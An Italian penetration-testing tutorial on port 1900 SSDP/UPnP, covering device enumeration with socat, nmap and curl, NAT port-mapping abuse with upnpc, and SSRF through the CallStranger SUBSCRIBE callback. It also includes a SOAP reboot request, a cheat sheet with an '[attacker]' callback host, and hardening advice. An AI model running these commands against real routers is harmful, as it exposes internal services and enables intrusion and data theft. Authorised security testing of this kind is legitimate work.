Porta 1900 SSDP/UPnP: Pentest, Port Mapping e SSRF

Porta 1900 SSDP/UPnP nel pentest: discovery dei device, port mapping abuse, SSRF via CallStranger e analisi dei servizi esposti.
- Pubblicato il 2026-04-12
- Tempo di lettura: 5 min
Executive Summary — La porta 1900/UDP è il canale di SSDP (Simple Service Discovery Protocol), il componente di discovery di UPnP (Universal Plug and Play). SSDP permette ai dispositivi di annunciarsi automaticamente sulla rete — router, smart TV, media server, NAS, IoT, stampanti. Il problema: UPnP è progettato per reti fidate e non prevede autenticazione. Un attacker sulla rete può enumerare tutti i dispositivi UPnP, modificare le regole NAT del router (aprire porte dall’esterno), e sfruttare le API SOAP dei dispositivi per SSRF e RCE. Su Internet, SSDP esposto è un vettore di amplification DDoS (fattore 30x).
Cos’è la port 1900 (SSDP / UPnP)
- SSDP sulla 1900/UDP rivela ogni dispositivo UPnP sulla rete — senza autenticazione
- UPnP sul router permette di aprire porte NAT (port forwarding) da qualsiasi host interno — un malware può esporre servizi interni su Internet
- CallStranger (CVE-2020-12695) permette SSRF, data exfiltration e amplification tramite la funzione SUBSCRIBE di UPnP
Porta 1900 SSDP è il canale UDP del protocollo di discovery UPnP. La porta 1900 vulnerabilità principali sono l’enumerazione massiva di dispositivi senza autenticazione, il NAT port mapping abuse (apertura porte non autorizzata), SSRF via SOAP action e amplification DDoS. L’enumerazione porta 1900 rivela tipo, modello, firmware e URL di controllo di ogni dispositivo UPnP. Nel pentest, UPnP è un enabler: permette di aprire porte NAT per l’accesso dall’esterno, scoprire dispositivi nascosti e attaccare le API SOAP dei dispositivi per RCE. Nella kill chain si posiziona come recon (device discovery), persistence (port forwarding permanente) e lateral movement (SSRF verso servizi interni).
1. Anatomia Tecnica della Porta 1900 #
SSDP è il protocollo di discovery — il primo componente di UPnP:
| Componente UPnP | Porta/Protocollo | Ruolo |
|---|---|---|
| SSDP Discovery | 1900/UDP | Annuncio e ricerca dispositivi |
| Device Description | HTTP (porta alta) | XML con descrizione dispositivo |
| Control (SOAP) | HTTP (porta alta) | Comandi al dispositivo via SOAP |
| Eventing | HTTP (porta alta) | Notifiche di stato |
Il flusso SSDP:
- Client invia M-SEARCH multicast a
239.255.255.250:1900 - Ogni dispositivo UPnP risponde con il suo Location URL (HTTP)
- Il client scarica l’XML di descrizione dal Location URL
- L’XML elenca i servizi disponibili e gli endpoint SOAP di controllo
- Il client chiama le SOAP action per controllare il dispositivo
Misconfig: UPnP abilitato sul router con IGD (Internet Gateway Device)
Impatto: qualsiasi host interno può aprire port forwarding — espone servizi interni su Internet
Come si verifica: upnpc -l — se lista le regole NAT, IGD è attivoMisconfig: SSDP raggiungibile da Internet (WAN)
Impatto: amplification DDoS (fattore ~30x) e information disclosure
Come si verifica: nmap -sU -p 1900 [IP_pubblico] — se open, è espostoMisconfig: Dispositivo UPnP con SOAP action senza autenticazione
Impatto: esecuzione comandi sul dispositivo (firmware update, config change, reboot)
Come si verifica: curl [SOAP_endpoint] con action specifica2. Enumerazione Base #
Comando 1: M-SEARCH discovery #
# Invia M-SEARCH e cattura risposte
echo -e "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nST: ssdp:all\r\nMX: 3\r\n\r\n" | socat - UDP4-DATAGRAM:239.255.255.250:1900,so-broadcastOutput:
HTTP/1.1 200 OK
LOCATION: http://192.168.1.1:49152/rootDesc.xml
SERVER: Linux/4.4, UPnP/1.0, MediaServer/1.0
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:12345678-1234-1234-1234-123456789abc
HTTP/1.1 200 OK
LOCATION: http://192.168.1.50:8200/rootDesc.xml
SERVER: Synology NAS/DSM 7.2
ST: urn:schemas-upnp-org:device:MediaServer:1Lettura dell’output: due dispositivi UPnP: un router con IGD (InternetGatewayDevice — target per port mapping) e un Synology NAS (media server — target per file access). Il Location URL è l’endpoint per scaricare la descrizione completa.
Comando 2: Nmap #
nmap -sU -p 1900 --script upnp-info 192.168.1.0/24Output:
192.168.1.1:
| upnp-info:
| InternetGatewayDevice
| Manufacturer: Netgear
| Model: R7000
|_ Firmware: V1.0.11.126
192.168.1.50:
| upnp-info:
| MediaServer
| Manufacturer: Synology
|_ Model: DS920+3. Enumerazione Avanzata #
Scarica device description XML #
curl -s http://192.168.1.1:49152/rootDesc.xmlOutput (parziale):
<device>
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
<friendlyName>Netgear R7000</friendlyName>
<manufacturer>NETGEAR</manufacturer>
<modelNumber>R7000</modelNumber>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<controlURL>/ctl/IPConn</controlURL>
</service>
</serviceList>
</device>Lettura dell’output: il router espone il servizio WANIPConnection con endpoint di controllo /ctl/IPConn. Questo è il servizio che gestisce il NAT port mapping — il target per l’apertura porte non autorizzata.
Lista port mapping esistenti #
# Con miniupnpc
upnpc -lOutput:
i protocol exPort->inAddr:inPort description remoteHost leaseTime
0 TCP 8080->192.168.1.100:80 WebServer 0.0.0.0 0
1 TCP 3389->192.168.1.200:3389 RDP 0.0.0.0 0Lettura dell’output: due port forwarding attivi: la porta 8080 esterna punta a un web server interno, la 3389 esterna punta a RDP interno. Questo è già un finding — RDP esposto su Internet via UPnP.
4. Tecniche Offensive #
NAT port mapping abuse — esponi servizi interni
Contesto: UPnP IGD attivo sul router. Sei sulla rete interna.
# Apri porta 4444 esterna → 192.168.1.100:445 interna (SMB)
upnpc -a 192.168.1.100 445 4444 TCP
# Apri porta per reverse shell
upnpc -a 192.168.1.200 22 2222 TCPOutput:
external 203.0.113.50:4444 TCP is redirected to internal 192.168.1.100:445Cosa fai dopo: SMB interno ora raggiungibile da Internet sulla porta 4444. Questo è il meccanismo usato dai malware per esporre servizi interni — e in un pentest dimostra che UPnP permette a qualsiasi host interno di creare port forwarding arbitrario. Per la post-exploitation con persistenza, un port forwarding UPnP è più discreto di un tunnel.
SSRF via UPnP SUBSCRIBE (CallStranger — CVE-2020-12695)
Contesto: il dispositivo UPnP supporta SUBSCRIBE con callback URL arbitrario.
curl -X SUBSCRIBE http://192.168.1.1:49152/evt/IPConn \
-H "CALLBACK: <http://10.10.10.200:8080/ssrf>" \
-H "NT: upnp:event" \
-H "TIMEOUT: Second-300"Cosa fai dopo: il dispositivo UPnP farà una richiesta HTTP al tuo callback — SSRF dal dispositivo. Puoi usarlo per raggiungere servizi interni non direttamente accessibili, scansionare la rete dal punto di vista del dispositivo o exfiltrare dati.
Device SOAP exploitation
# Esempio: reboot router via SOAP
curl -X POST http://192.168.1.1:49152/ctl/DevInfo \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"urn:schemas-upnp-org:service:DeviceInfo:1#Reboot\"" \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:Reboot xmlns:u="urn:schemas-upnp-org:service:DeviceInfo:1"></u:Reboot></s:Body></s:Envelope>'DDoS amplification (solo documentazione)
Un pacchetto M-SEARCH di 100 byte genera risposte da 3000+ byte — fattore ~30x. Con IP spoofato, il traffico amplificato colpisce la vittima. Finding di severità media per dispositivi esposti su Internet.
5. Scenari Pratici #
Scenario 1: Assessment rete interna — UPnP device discovery #
Step 1:
# Discovery massivo
nmap -sU -p 1900 --script upnp-info 192.168.1.0/24Step 2:
# Per ogni device trovato: scarica description XML
for url in $(grep -o 'http://[^"]*rootDesc.xml' nmap_output.txt); do
curl -s "$url" > "$(echo $url | md5sum | cut -c1-8).xml"
doneStep 3:
# Verifica IGD e port mapping
upnpc -lTempo stimato: 10-20 minuti
Scenario 2: Verifica UPnP su router perimetrale #
Step 1:
upnpc -s # Status del router IGD
upnpc -l # Port mapping esistentiStep 2:
# Testa creazione port mapping
upnpc -a [internal_ip] 80 9999 TCP
upnpc -d 9999 TCP # Rimuovi subito dopo il testTempo stimato: 5-10 minuti
6. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| M-SEARCH | socat con M-SEARCH multicast a 239.255.255.250:1900 |
| Nmap discovery | nmap -sU -p 1900 --script upnp-info [subnet] |
| Description XML | curl -s http://[device]:[port]/rootDesc.xml |
| Port map list | upnpc -l |
| Add port map | upnpc -a [internal_ip] [int_port] [ext_port] TCP |
| Remove port map | upnpc -d [ext_port] TCP |
| Router status | upnpc -s |
| SSRF subscribe | curl -X SUBSCRIBE -H "CALLBACK: <http://[attacker]:8080>" |
Perché Porta 1900 è rilevante nel 2026 #
UPnP è abilitato di default su quasi tutti i router consumer e molti enterprise. Permette a qualsiasi host interno (incluso un malware) di aprire porte NAT — esponendo servizi interni su Internet. CallStranger (CVE-2020-12695) ha dimostrato SSRF e data exfiltration via UPnP. Migliaia di dispositivi con SSDP esposto su Internet sono vettori di amplification DDoS.
Hardening #
- Disabilita UPnP sul router se non strettamente necessario
- Se necessario: IGD con whitelist di IP interni autorizzati
- Non esporre mai SSDP (1900/UDP) su WAN
- Monitora le regole di port forwarding per creazioni non autorizzate
- Firmware update regolari per CVE UPnP
Riferimento: UPnP Device Architecture, CVE-2020-12695 (CallStranger). Uso esclusivo in ambienti autorizzati.







